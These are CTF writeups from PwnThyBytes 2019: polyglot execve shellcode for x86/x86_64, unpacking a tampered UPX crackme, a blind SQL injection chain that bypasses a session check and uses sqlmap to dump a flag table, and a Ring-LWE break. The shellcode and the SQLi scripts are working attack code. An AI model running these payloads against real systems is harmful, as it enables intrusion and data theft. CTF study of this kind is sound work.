PwnThyBytes CTF 2019 writeups
This was a great CTF and we hacked some stuff. Here’s how.
Bilingual
yyyyyyy | Coding/Forensics, 900 points
Short summary:
- We need to write polyglot shellcode that runs on 32- and 64-bit Linux x86.
- The length should be 256, and there’s a function in the server code that checks that each byte occurs exactly once, but it’s not called anywhere (potential slip-up?).
- We simply took individual shellcodes for the two bitnesses and built a short dispatcher to jump to the right version of the code at runtime.
- The dispatcher makes use of the fact that
40 90is a NOP on x86_64 andinc eax; nopon (32-bit) x86.
Shellcode:
$ xxd -p shc
409084c0741beb0b5b31c0b00b9931c9cd80cce8f0ffffff2f62696e2f73
68009031c0b03b488d3decffffff31f631d20f05cccccccccccccccccccc
cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccc
$
Disassemblies for the reader’s convenience:
$ ndisasm -b 32 shc
00000000 40 inc eax
00000001 90 nop
00000002 84C0 test al,al
00000004 741B jz 0x21
00000006 EB0B jmp short 0x13
00000008 5B pop ebx
00000009 31C0 xor eax,eax
0000000B B00B mov al,0xb
0000000D 99 cdq
0000000E 31C9 xor ecx,ecx
00000010 CD80 int 0x80
00000012 CC int3
00000013 E8F0FFFFFF call 0x8
00000018 2F das
00000019 62696E bound ebp,[ecx+0x6e]
0000001C 2F das
0000001D 7368 jnc 0x87
0000001F 00
[...]
$ ndisasm -b 64 shc
00000000 4090 nop
00000002 84C0 test al,al
00000004 741B jz 0x21
[...]
00000018 2F db 0x2f
00000019 62 db 0x62
0000001A 696E2F73680090 imul ebp,[rsi+0x2f],dword 0x90006873
00000021 31C0 xor eax,eax
00000023 B03B mov al,0x3b
00000025 488D3DECFFFFFF lea rdi,[rel 0x18]
0000002C 31F6 xor esi,esi
0000002E 31D2 xor edx,edx
00000030 0F05 syscall
[...]
Sending the shellcode to the server immediately gives us the flag:
$ nc 137.117.216.128 13374 < shc
Please give me your finest shellcode:
Got: 409084c0741beb0b5b31c0b00b9931c9cd80cce8f0ffffff2f62696e2f7368009031c0b03b488d3decffffff31f631d20f05cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
[*] Testing x86.....[OK]
[*] Testing amd64...[OK]
Congrats! Here is your flag: PTBCTF{is_this_x84_or_amd66}
$
passpx
kirschju | Reversing, 936 points
Author: adrians
Check out our new packer, now with password protection.
archive password: uFae3Fishod9ee
We’re given a binary asking for a password via argv:
$ ./passpx
Usage: passpx password
$ ./passpx lol
Try harder
$
Not so hard
The challenge description hints us towards a packing mechanism being used to protect the binary. The header of the binary
0000: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 |.ELF............|
0010: 02 00 3e 00 01 00 00 00 a0 9c 40 00 00 00 00 00 |..>.......@.....|
0020: 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |@...............|
0030: 00 00 00 00 40 00 38 00 03 00 40 00 00 00 00 00 |....@.8...@.....|
0040: 01 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 |................|
0050: 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 |..@.......@.....|
0060: 69 af 00 00 00 00 00 00 69 af 00 00 00 00 00 00 |i.......i.......|
0070: 00 00 20 00 00 00 00 00 01 00 00 00 06 00 00 00 |.. .............|
0080: 00 00 00 00 00 00 00 00 00 b0 40 00 00 00 00 00 |..........@.....|
0090: 00 b0 40 00 00 00 00 00 00 00 00 00 00 00 00 00 |..@.............|
00a0: 98 f4 20 00 00 00 00 00 00 10 00 00 00 00 00 00 |.. .............|
00b0: 51 e5 74 64 06 00 00 00 00 00 00 00 00 00 00 00 |Q.td............|
00c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00e0> 10 00 00 00 00 00 00 00 05 9a 0c fb 55 50 58 21 |............UPX!|
and some of the strings contained within the program
$ strings passpx | grep UPX
UPX!
$Info: This file is packed with the UPX executable packer http://upx.sf.net $
$Id: UPX 3.95 Copyright (C) 1996-2018 the UPX Team. All Rights Reserved. $
$
should probably trick us into thinking that the crackme had been protected using UPX, the Ultimate Packer for eXecutables.
However, UPX’ built-in decompression functionality fails to recognize the compressed file:
$ upx -d passpx_auto
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2018
UPX 3.95 Markus Oberhumer, Laszlo Molnar & John Reiser Aug 26th 2018
File size Ratio Format Name
-------------------- ------ ----------- -----------
upx: passpx_auto: NotPackedException: not packed by UPX
Unpacked 0 files.
$
Hm … apparently not so easy. :)
Not so harderer
Comparing the entry points of the challenge binary and some legitly UPX-packed file we can see that execution flow and programming logic are indeed really similar. At this point we figured that the challenge author used a modified version of UPX to create the binary, or tampered with the resulting binary of some legitly packed program.
As UPX is not meant for security purposes it is trivial to launch the protected program in a debugger and dump the unpacked code at some late execution phase (for example when the program is stopped at the Usage: passpx password write system call):
$ gdb -ex 'start' -ex 'catch syscall write' -ex 'c' ./passpx
[...]
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x400000 0x414000 r-xp 14000 0
0x414000 0x613000 ---p 1ff000 0
0x613000 0x61e000 rw-p b000 0 [heap]
0x7ffff7fee000 0x7ffff7fef000 r--p 1000 0 ~/ctf/2019_09_pwnthybytes/passpx
0x7ffff7ffb000 0x7ffff7ffe000 r--p 3000 0 [vvar]
0x7ffff7ffe000 0x7ffff7fff000 r-xp 1000 0 [vdso]
0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack]
pwndbg> dump memory memdump_0x400000 0x400000 0x414000
pwndbg>
Analyzing the dump quickly led us to the following main function:
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // r8@0
__int64 v4; // r9@0
char v5; // al@2
char *v6; // rcx@2
const char *v8; // rdx@6
__int64 v9; // rax@6
__int64 v10; // rax@8
int v11; // ecx@8
char v12; // di@9
signed __int64 v13; // rdx@11
int v14; // esi@11
signed __int64 v15; // r9@11
int v16; // eax@12
__int64 *v17; // rdi@13
__int64 v18; // rax@25
int v19; // ecx@25
char v20; // di@26
signed int v21; // er9@27
__int64 v22; // rdx@27
int v23; // esi@27
int v24; // eax@29
__int64 v25; // [sp+8h] [bp-1A0h]@1
__int64 v26; // [sp+10h] [bp-198h]@1
char v27[120]; // [sp+18h] [bp-190h]@1
char v28[22]; // [sp+90h] [bp-118h]@2
char v29; // [sp+A6h] [bp-102h]@2
v25 = 0x12345678AABBCCDDLL;
v26 = 0LL;
memset(v27, 0, sizeof(v27));
if ( argc == 2 )
{
v8 = argv[1];
v9 = 0LL;
if ( *v8 == 'P'
&& v8[1] == '4'
&& v8[2] == 's'
&& v8[3] == 'S'
&& v8[4] == 'w'
&& v8[5] == '0'
&& v8[6] == 'r'
&& v8[7] == 'd'
&& v8[8] == '!' )
{
if ( !v8[9] )
{
do
{
v28[v9] = v9;
++v9;
}
while ( v9 != 256 );
v18 = 0LL;
v19 = 0;
do
{
v20 = v28[v18];
v19 += (unsigned __int8)(*((_BYTE *)&v25 + (v18 & 7)) + v28[v18]);
v28[v18++] = v28[(unsigned __int8)v19];
v28[(unsigned __int8)v19] = v20;
}
while ( v18 != 256 );
v21 = dword_614040;
v17 = &v26;
v22 = 0LL;
v23 = 0;
while ( v21 > (signed int)v22 )
{
v24 = (unsigned __int8)v28[(unsigned __int8)(v22 + 1)];
v23 += v24;
v28[(unsigned __int8)(v22 + 1)] = v28[(unsigned __int8)v23];
v28[(unsigned __int8)v23] = v24;
*((_BYTE *)&v26 + v22) = byte_614060[v22] ^ v28[(unsigned __int8)(v28[(unsigned __int8)(v22 + 1)] + v24)];
++v22;
}
LABEL_14:
puts((__int64)v17);
return 0;
}
v9 = 0LL;
}
do
{
v28[v9] = v9;
++v9;
}
while ( v9 != 256 );
v10 = 0LL;
v11 = 0;
do
{
v12 = v28[v10];
v11 += (unsigned __int8)(*((_BYTE *)&v25 + (v10 & 7)) + v28[v10]);
v28[v10++] = v28[(unsigned __int8)v11];
v28[(unsigned __int8)v11] = v12;
}
while ( v10 != 256 );
if ( dword_615060 > 0 )
{
v13 = 1LL;
v14 = 0;
v15 = (unsigned int)(dword_615060 - 1) + 2LL;
do
{
v16 = (unsigned __int8)v28[(unsigned __int8)v13];
v14 += v16;
v28[(unsigned __int8)v13] = v28[(unsigned __int8)v14];
v28[(unsigned __int8)v14] = v16;
*((_BYTE *)&v25 + v13 + 7) = byte_61507F[v13] ^ v28[(unsigned __int8)(v28[(unsigned __int8)v13] + v16)];
++v13;
}
while ( v15 != v13 );
}
v17 = &v26;
goto LABEL_14;
}
v5 = 0x77;
*(_WORD *)&v28[20] = 0x4650;
*(_QWORD *)v28 = 0x5202184745435177LL;
*(_QWORD *)&v28[8] = 0x4352025A52515143LL;
*(_DWORD *)&v28[16] = 0x4D555151;
v29 = 0;
v6 = v28;
do
{
*(++v6 - 1) = v5 ^ 0x22;
v5 = *v6;
}
while ( *v6 );
fprintf(*(__int64 *)&off_6160B8, (__int64)"%s\n", (__int64)v28, (__int64)v6, v3, v4);
return 1;
}
The if clause guarding the first half of the code immediately caught our interest. However, it only prints out another unsatisfying string:
$ ./passpx P4sSw0rd!
Try harderer
$
Analyzing the function a bit we can see that it implements the RC4 stream cipher decrypting either an array at address 0x614060 or at address 0x615080 with the hardcoded key b'\xdd\xcc\xbb\xaax\x78\x56\x34\x12'. Both buffers are prefixed by their lengths. Using the following python script
#!/usr/bin/env python3
from Crypto.Cipher import ARC4
import binascii
import struct
rc4 = ARC4.new(struct.pack("<Q", 0x12345678AABBCCDD))
print(rc4.decrypt(binascii.unhexlify("C5E8D9409A5C748153B6D3EBDA5245"))[:0x0d])
rc4 = ARC4.new(struct.pack("<Q", 0x12345678AABBCCDD))
print(rc4.decrypt(binascii.unhexlify("C5E8D9409A5C748153B6B699DB63D93565FF7D3718A74D8B3AE5C4F9CB6486F4CE21C96803BA0D488B15630C140D523A83B4FDC82B43CD1F3A21"))[:0x3a])
we get two possible outputs:
$ ./solve.py
b'Try harderer\x00'
b'Try harder\x00\x00\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !"#$%&\'()*+,-.'
While both outputs seem to be rather unsatisfactory, we immediately became suspicious of the unneccessary “padding” used in the second string. Both strings reside in writeable memory (starting at 0x613000) and are result of the unpacking logic of the (hacked?) UPX unpacker. Could it be possible that there exists a path in the unpacker that overwrites the second string with some different values?
Not so harderer(er?)
After digging around in the unpacking code, we found a function located at 0x7FFFF7FF9AF4 in gdb loading a huge array of fixed bytes on the stack, but it would only use this array if some other 16-byte array contained a distinct value:
void __fastcall sub_7FFFF7FF9AF4(__int64 a1, __int64 *a2, int (__fastcall *a3)(_QWORD, unsigned __int64, __int64, unsigned __int64 *, _QWORD), void (__fastcall *a4)(__int64, unsigned __int64, _QWORD, _QWORD), __int64 a5)
{
int (__fastcall *v5)(_QWORD, unsigned __int64, __int64, unsigned __int64 *, _QWORD); // r14@1
void (__fastcall *v6)(__int64, unsigned __int64, _QWORD, _QWORD); // r13@1
__int64 *v7; // rbp@1
__int64 v8; // rbx@1
char v9; // zf@1
unsigned __int64 v10; // rsi@3
unsigned int v11; // eax@21
unsigned __int64 v12; // rdx@28
char v13; // cf@29
__int64 v14; // rax@29
__int64 v15; // rax@36
__int64 v16; // rdx@38
__int64 v17; // rax@38
__int64 v18; // rax@38
unsigned __int64 v19; // [sp+8h] [bp-160h]@30
unsigned int v20; // [sp+10h] [bp-158h]@3
unsigned int v21; // [sp+14h] [bp-154h]@3
unsigned int v22; // [sp+18h] [bp-150h]@30
char v23; // [sp+20h] [bp-148h]@1
char v24; // [sp+21h] [bp-147h]@1
char v25; // [sp+22h] [bp-146h]@1
char v26; // [sp+23h] [bp-145h]@1
char v27; // [sp+24h] [bp-144h]@1
char v28; // [sp+25h] [bp-143h]@1
char v29; // [sp+26h] [bp-142h]@1
char v30; // [sp+27h] [bp-141h]@1
char v31; // [sp+28h] [bp-140h]@1
char v32; // [sp+29h] [bp-13Fh]@1
char v33; // [sp+2Ah] [bp-13Eh]@1
char v34; // [sp+2Bh] [bp-13Dh]@1
char v35; // [sp+2Ch] [bp-13Ch]@1
char v36; // [sp+2Dh] [bp-13Bh]@1
char v37; // [sp+2Eh] [bp-13Ah]@1
char v38; // [sp+2Fh] [bp-139h]@1
char v39; // [sp+30h] [bp-138h]@1
char v40; // [sp+31h] [bp-137h]@1
char v41; // [sp+32h] [bp-136h]@1
char v42; // [sp+33h] [bp-135h]@1
char v43; // [sp+34h] [bp-134h]@1
char v44; // [sp+35h] [bp-133h]@1
char v45; // [sp+36h] [bp-132h]@1
char v46; // [sp+37h] [bp-131h]@1
/* [ ...] */
char v289; // [sp+12Ah] [bp-3Eh]@1
char v290; // [sp+12Bh] [bp-3Dh]@1
char v291; // [sp+12Ch] [bp-3Ch]@1
char v292; // [sp+12Dh] [bp-3Bh]@1
char v293; // [sp+12Eh] [bp-3Ah]@1
char v294; // [sp+12Fh] [bp-39h]@1
char v295; // [sp+130h] [bp-38h]@1
char v296; // [sp+131h] [bp-37h]@1
v5 = a3;
v6 = a4;
v7 = a2;
v8 = a5;
v23 = 11;
v24 = 50;
v25 = -56;
v26 = -13;
v27 = 112;
v28 = 1;
v29 = 64;
v30 = 0;
v31 = -1;
v32 = 0;
v33 = 15;
v34 = -10;
v35 = -20;
v36 = 97;
v37 = 35;
v38 = 0;
v39 = -120;
v40 = -94;
v41 = 47;
v42 = -62;
v43 = -93;
v44 = 7;
v45 = 32;
v46 = -125;
/* [...] */
v289 = 0;
v290 = 0;
v291 = 0;
v292 = 0;
v293 = 0;
v294 = 0;
v295 = 64;
v296 = -1;
v9 = *a2 == 0;
while ( 1 )
{
if ( v9 )
return;
sub_7FFFF7FF9ABB(a1, &v20, 0xCuLL);
v10 = v21;
if ( v21 == 0x112
&& *(_BYTE *)v8 == 0xE6u
&& *(_BYTE *)(v8 + 1) == 0x44
&& *(_BYTE *)(v8 + 2) == 0x2D
&& *(_BYTE *)(v8 + 3) == 0xF6u
&& *(_BYTE *)(v8 + 4) == 0x7C
&& *(_BYTE *)(v8 + 5) == 0xEBu
&& *(_BYTE *)(v8 + 6) == 0x50
&& *(_BYTE *)(v8 + 7) == 0x7E
&& *(_BYTE *)(v8 + 8) == 0x9Eu
&& *(_BYTE *)(v8 + 9) == 0x75
&& *(_BYTE *)(v8 + 10) == 0xC2u
&& *(_BYTE *)(v8 + 11) == 0xA2u
&& *(_BYTE *)(v8 + 12) == 0xFCu
&& *(_BYTE *)(v8 + 13) == 0x4E
&& *(_BYTE *)(v8 + 14) == 0xA3u
&& *(_BYTE *)(v8 + 15) == 0xCDu )
{
*(_QWORD *)(a1 + 8) = &v23; /* suspicious trigger here */
}
v11 = v20;
if ( !v20 )
break;
if ( (_DWORD)v10 )
goto LABEL_27;
while ( 1 )
{
LABEL_26:
sub_7FFFF7FF90DD();
LABEL_27:
if ( (unsigned int)v10 <= v11 )
{
v12 = v11;
if ( v11 <= (unsigned __int64)*v7 )
{
v13 = (unsigned int)v10 < v11;
v14 = v7[1];
if ( !v13 )
{
sub_7FFFF7FF9ABB(a1, (_BYTE *)v7[1], (unsigned int)v10);
goto LABEL_38;
}
v19 = v12;
if ( !v5(*(_QWORD *)(a1 + 8), v10, v14, &v19, v22) )
{
v10 = v19;
if ( v19 == v20 )
break;
}
}
}
}
if ( v6 != 0LL && BYTE1(v22) != 0 && (v19 > 0x200 || *v7 == v19) )
v6(v7[1], v19, BYTE2(v22), BYTE1(v22));
v15 = v21;
*(_QWORD *)(a1 + 8) += v21;
*(_QWORD *)a1 -= v15;
LABEL_38:
v16 = v20;
v17 = *v7;
v7[1] += v20;
v18 = v17 - v16;
v9 = v18 == 0;
*v7 = v18;
}
if ( (_DWORD)v10 != '!XPU' || *(_QWORD *)a1 )
goto LABEL_26;
}
After playing a bit with the binary, we found out that v21 is the length of the unpacked data, and v8 seems to store the MD5 sum of the unpacked data (sub_7FFFF7FF98D7 initializes the MD5 engine). Putting a breakpont on the comparison v21 == 0x112 (0x7FFFF7FFA2A2 in out gdb) we could observe that the variable takes on the following values: 0x82 (twice), 0x99db, and 0x112.
While v21 actually becomes 0x112 once, the v8 array never contains the right hash. What if we dare to skip the execution flow past the hash check (0x7FFFF7FFA309) once the v21 variable has the right (0x112) value (and hence the unpacker is probably about to write out the unpacked segment to its final destination)?
$ gdb -ex 'start' -ex 'hb *0x7FFFF7FFA2A2' -ex 'c' --args ./passpx asdf
[...]
Catchpoint 1 (fork)
Catchpoint 2 (exec)
pwndbg: loaded 177 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./passpx...
(No debugging symbols found in ./passpx)
Temporary breakpoint 3 at 0x409ca0
Temporary breakpoint 3, 0x0000000000409ca0 in ?? ()
0x7fffffffde80 0x7fffffffc000 0x7fffffffc000 0x7ffffffff000
Hardware assisted breakpoint 4 at 0x7ffff7ffa2a2
Continuing.
Breakpoint 4, 0x00007ffff7ffa2a2 in ?? ()
[...]
RSI 0x82
[...]
► 0x7ffff7ffa2a2 cmp esi, 0x112
[...]
pwndbg> c
Continuing.
Breakpoint 4, 0x00007ffff7ffa2a2 in ?? ()
[...]
RSI 0x82
[...]
► 0x7ffff7ffa2a2 cmp esi, 0x112
[...]
pwndbg> c
Continuing.
Breakpoint 4, 0x00007ffff7ffa2a2 in ?? ()
[...]
RSI 0x99db
[...]
► 0x7ffff7ffa2a2 cmp esi, 0x112
[...]
pwndbg> c
Continuing.
Breakpoint 4, 0x00007ffff7ffa2a2 in ?? ()
[...]
RSI 0x112
[...]
► 0x7ffff7ffa2a2 cmp esi, 0x112
[...]
pwndbg> set $rip = 0x7FFFF7FFA309
[...]
► 0x7ffff7ffa309 lea rax, qword ptr [rsp + 0x20]
0x7ffff7ffa30e mov qword ptr [r12 + 8], rax
0x7ffff7ffa313 mov eax, dword ptr [rsp + 0x10]
0x7ffff7ffa317 test eax, eax
0x7ffff7ffa319 jne 0x7ffff7ffa330
↓
0x7ffff7ffa330 test esi, esi
0x7ffff7ffa332 jne 0x7ffff7ffa33e
↓
0x7ffff7ffa33e cmp esi, eax
0x7ffff7ffa340 ja 0x7ffff7ffa334
0x7ffff7ffa342 mov edx, eax
0x7ffff7ffa344 cmp rdx, qword ptr [rbp]
[...]
pwndbg> c
Continuing.
PTBCTF{8d4f4168500acd66e65c921a694e15dd2e862e5f}
[Inferior 1 (process 31118) exited normally]
pwndbg>
The program just prints out the flag.
Actually easy, wtf?
After the CTF we investigated a bit on why the binary would, without further ado, give away the flag so easily. We would have expected at least some change to the argv[1] password triggering the condition.
It turns out that the magic 0x112 refers to the data that ends up in the writeable data section later read in by the main function. Indeed, the execution path that used to print Try harder now just decrypts different data and echoes the flag instead:
pwndbg> x/64xb 0x00615080
0x615080: 0xc1 0xce 0xe2 0x23 0xa6 0x7b 0x7d 0xdd
0x615088: 0x52 0xf0 0xd0 0xad 0xeb 0x57 0xe2 0x04
0x615090: 0x50 0xc9 0x1b 0x5c 0x75 0x9b 0x70 0xe2
0x615098: 0x01 0xde 0xa8 0xd0 0xe8 0x47 0xf4 0xd6
0x6150a0: 0xe2 0x03 0xbb 0x41 0x2f 0xc4 0x72 0x66
0x6150a8: 0xf3 0x33 0x4a 0x1e 0x50 0x1a 0x17 0x63
0x6150b0: 0xa6 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x6150b8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
Extending our solution script from above we get
#!/usr/bin/env python3
from Crypto.Cipher import ARC4
import binascii
import struct
rc4 = ARC4.new(struct.pack("<Q", 0x12345678AABBCCDD))
print(rc4.decrypt(binascii.unhexlify("C5E8D9409A5C748153B6D3EBDA5245"))[:0x0d])
rc4 = ARC4.new(struct.pack("<Q", 0x12345678AABBCCDD))
print(rc4.decrypt(binascii.unhexlify("C5E8D9409A5C748153B6B699DB63D93565FF7D3718A74D8B3AE5C4F9CB6486F4CE21C96803BA0D488B15630C140D523A83B4FDC82B43CD1F3A21"))[:0x3a])
rc4 = ARC4.new(struct.pack("<Q", 0x12345678AABBCCDD))
print(rc4.decrypt(binascii.unhexlify("c1cee223a67b7ddd52f0d0adeb57e20450c91b5c759b70e201dea8d0e847f4d6e203bb412fc47266f3334a1e501a1763a600000000000000"))[:0x31])
which now prints:
$ ./solve.py
b'Try harderer\x00'
b'Try harder\x00\x00\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !"#$%&\'()*+,-.'
b'PTBCTF{8d4f4168500acd66e65c921a694e15dd2e862e5f}\x00'
Baby sql is not baby anymore
0xbb | Web Application Audit, 936 points
Author: icernica
I had problems in the past with SQLi so I searched for recommendations. I know for sure that PHP addslashes is a pain and nobody can bypass this.
http://137.117.210.176:13372
Source: http://137.117.210.176:13372/source.zip
We are provided with a PHP web challenge with source code.
All request data seems to be passed through a filter in index.php:
...
session_start();
foreach($_SESSION as $key => $value): $_SESSION[$key] = filter($value); endforeach;
foreach($_GET as $key => $value): $_GET[$key] = filter($value); endforeach;
foreach($_POST as $key => $value): $_POST[$key] = filter($value); endforeach;
foreach($_REQUEST as $key => $value): $_REQUEST[$key] = filter($value); endforeach;
function filter($value){
!is_string($value) AND die("Hacking attempt!");
return addslashes($value);
}
...
The data is then passed into queries in templates scripts as seen in templates/login.php:
<?php
!isset($_SESSION) AND die("Direct access on this script is not allowed!");
include 'db.php';
$sql = 'SELECT `username`,`password` FROM `ptbctf`.`ptbctf` where `username`="'.$_GET['username'].'" and password="'.md5($_GET['password']).'";';
...
There seems to be some addslashes bypasses based on multi-byte encodings like described here, but they usually depend on some kind of weird charset being using with MySQL.
We revisted the “direct access protection” of templates/login.php, which depends on session_start() being called before.
I remembered from HITCON CTF 2018 that PHP_SESSION_UPLOAD_PROGRESS can be used to force PHP to initialize $_SESSION to bypassing the check.
Being old (and grumpy) I decided to exploit this blind SQLi with sqlmap by using a helper proxy:
proxy.php:
<?php
// start with php -S 127.0.0.1:8082
system("python3 ./pwn.py '" . base64_encode($_GET['username']) . "'");
pwn.py:
#!/usr/bin/env python3
# helper script to bypass the 'direct access' check
import requests, sys, base64
url = 'http://137.117.210.176:13372/templates/login.php'
files = {'file': open('pwn.py', 'rb')}
r = requests.post(url, data={
'PHP_SESSION_UPLOAD_PROGRESS': 1337
},
files=files, cookies={
'PHPSESSID': 'hass1337',
}, params={
'username':'foo123" or '+ base64.b64decode(sys.argv[1]).decode() + ' or "1"="1',
'password': 'foo123',
})
print(r.text)
Finally, we can direct sqlmap to http://127.0.0.1:8082/proxy.php?username=a to finish the task.
Using sqlmap to find a potential flag table:
$ sqlmap -u http://127.0.0.1:8082/proxy.php?username=a -D ptbctf --tables
...
Database: ptbctf
[2 tables]
+----------+
| flag_tbl |
| ptbctf |
+----------+
Using sqlmap to dump the flag_tbl:
$ sqlmap -u http://127.0.0.1:8082/proxy.php?username=a --dump -T flag_tbl
...
Database: ptbctf
Table: flag_tbl
[1 entry]
+------------------------------------------+
| secret |
+------------------------------------------+
| PTBCTF{846722e552fa0b00fc620462a5ac7bdc} |
+------------------------------------------+
Wrong Ring
yyyyyyy | Cryptanalysis, 936 points
In this task, we are looking at a Ring-LWE instance and we’re asked to find the secret key given a handful* of R-LWE samples.
* (We are assuming hands of 8 fingers.)
The code contains a suspicious amount of conversions between the coefficient basis and the canonical basis of the ring, and indeed, this is the source of insecurity: The noise is sampled from a rather wide Gaussian, which should be fine, but this is with respect to the canonical basis. On the other hand, the rest of the R-LWE implementation uses the coefficient basis.
def generate_error(sigma, prime, degree):
D = RealDistribution('gaussian',sigma)
error = []
for i in range(degree):
error.append(D.get_random_element())
error_canonical_interm = U * (vector(error).column())
error_canonical = [(error_canonical_interm)[i][0] for i in range(degree)]
error_coeff = []
error_coeff_interm = Sigma_Inv * error_canonical_interm
for i in range(degree):
error_coeff.append(error_coeff_interm[i][0].real())
error_coeff = vector_to_polynomial(vector(error_coeff))
return error_coeff
# [...]
challenge_file.write('I shall give you some samples. Can you recover the secret key?\n')
for i in range(nr_samples):
a = generate_random_vector_mod(prime,degree)
a_coeff = vector_to_polynomial(a)
a_canonical = coeff_to_canonical(a_coeff,roots)
challenge_file.write('a_'+str(i)+' is '+str(a_canonical)+'\n')
err_coeff = generate_error(sigma, prime, degree)
b_coeff_interm = N(a_coeff * sec_coeff + err_coeff)
b_coeff = 0
for j in range(degree):
b_coeff = b_coeff + x^j*reduction_mod(b_coeff_interm.list()[j],prime)
b_canonical = coeff_to_canonical(b_coeff, roots)
challenge_file.write('b_'+str(i)+' is '+str(b_canonical)+'\n')
It is known (see here, Section 3.2.2) that sampling the noise with respect to the wrong basis can significantly impact security, since a wide distribution can look very narrow with respect to the dual basis.
Instead of analyzing the ring in use to figure out whether this attack applies, we simply look at the noise that’s generated by the given code:
for i,c in enumerate(generate_error(sigma,prime,deg)):
print('{:3} {}'.format(i, c))
This prints something like the following:
0 46.9786523058587
1 -48.5292576365581
2 -17.3906451997869
3 -27.2919326265839
4 -1.70697747932714
5 -44.3004358750407
6 -102.227021028364
7 -20.1661707820500
8 -4.61329474226082
9 24.2028593363288
10 12.4132542761632
11 17.0659007008902
12 -62.4632432264666
13 -33.2516442676849
14 -122.112277298727
15 72.6061593139978
16 30.2216090527301
17 -13.0998730442018
18 -1.78987981802688
19 -27.1417245162996
20 -13.9098977884743
21 8.31350429859054
22 -35.8746462326683
23 -28.0136299384902
[...]
203 0.0445989587000487
204 0.266751764450395
205 -0.112494506218291
206 -0.0367419238497657
207 0.108857512893624
208 0.0341785214621255
209 -0.162758341293502
210 0.0304244757519832
211 0.287286817253938
212 -0.151144051817815
213 -0.0892692035337474
214 0.167549663735378
215 -0.267639714217953
216 0.0443544293020134
217 0.0930421359573157
218 0.152480038564812
219 0.109060472775154
220 -0.138608336335352
221 0.140162448643631
222 -0.0432812571337251
223 -0.208327750872163
224 -0.0656437697782718
225 -0.0621366686747936
226 0.0100938100898203
227 0.0548885886925718
228 0.173956228432647
229 -0.0688576268316203
230 -0.110267948203576
231 -0.0290333832264178
232 0.129764356644682
233 0.149518511738767
234 0.0114198944623814
235 0.193708525448504
236 -0.000945726317498092
237 0.131242662860696
238 0.0768166922247064
239 -0.0488118070230919
240 -0.0842867459766938
241 -0.0171909055049790
242 0.109104096399180
243 -0.0519253347628259
244 -0.0484991834468422
245 0.0508099853428426
246 -0.0355330828503885
247 -0.0317255348547993
248 -0.0574810073837625
249 -0.0316900920844185
250 0.00817631857550443
251 -0.0301909003752401
252 0.0916911856582592
253 0.00947193353412427
254 0.0172581425470676
255 -0.0981734233652761
Even from this single sample, it is not hard to see that the higher coefficients of the noise polynomial are really small; all of them have absolute values smaller than $1{/}2$.
As elaborated in the paper linked above, this totally breaks the security: We can simply round off the noise to get error-free LWE samples, then use linear algebra to solve the problem. Since we are given only $8$ samples and the ring has dimension $256$, we see that we need to use at least $32$ coefficients from each sample; the output above suggests that the highest $32$ coefficients are very likely to be small enough.
(As a little “trick” to simplify correctness checking, we actually use $33$ coefficients per sample, which would make the system unsolvable with very high probability of one of the errors was actually larger than $1{/}2$. If this was the case, we’d have to start brute-forcing small error vectors.)
S.<x> = PolynomialRing(RationalField(100))
prime = 1487
deg = 256
poly = x^deg + prime - 1
data = open('out/challenge.txt').read()
samples = []
for l in data.split('\n'):
if l.startswith('a_'):
a = eval(' '.join(l.split(' ')[2:]))
elif l.startswith('b_'):
b = eval(' '.join(l.split(' ')[2:]))
samples.append((a,b))
mat = matrix(Zmod(prime), deg, 0)
vec = []
for a,b in samples:
a_coeff = vector(ZZ, [round(c.real()) for c in Sigma_Inv * vector(a)])
a_mat = matrix(Zmod(prime),
[(list(x**i*vector_to_polynomial(a_coeff) % poly) + [0]*deg)[:deg] for i in range(deg)])
b_coeff = vector(ZZ, [round(c.real()) for c in Sigma_Inv * vector(b)])
mat = mat.augment(a_mat[:,-33:])
vec += list(b_coeff[-33:])
vec = vector(vec)
print
print(mat)
print
print(vec)
print
sol = mat.solve_left(vec)
print(sol)
Running this script (which reuses lots of stuff from the given wrong_ring.sage) takes something like half a minute and prints the solution
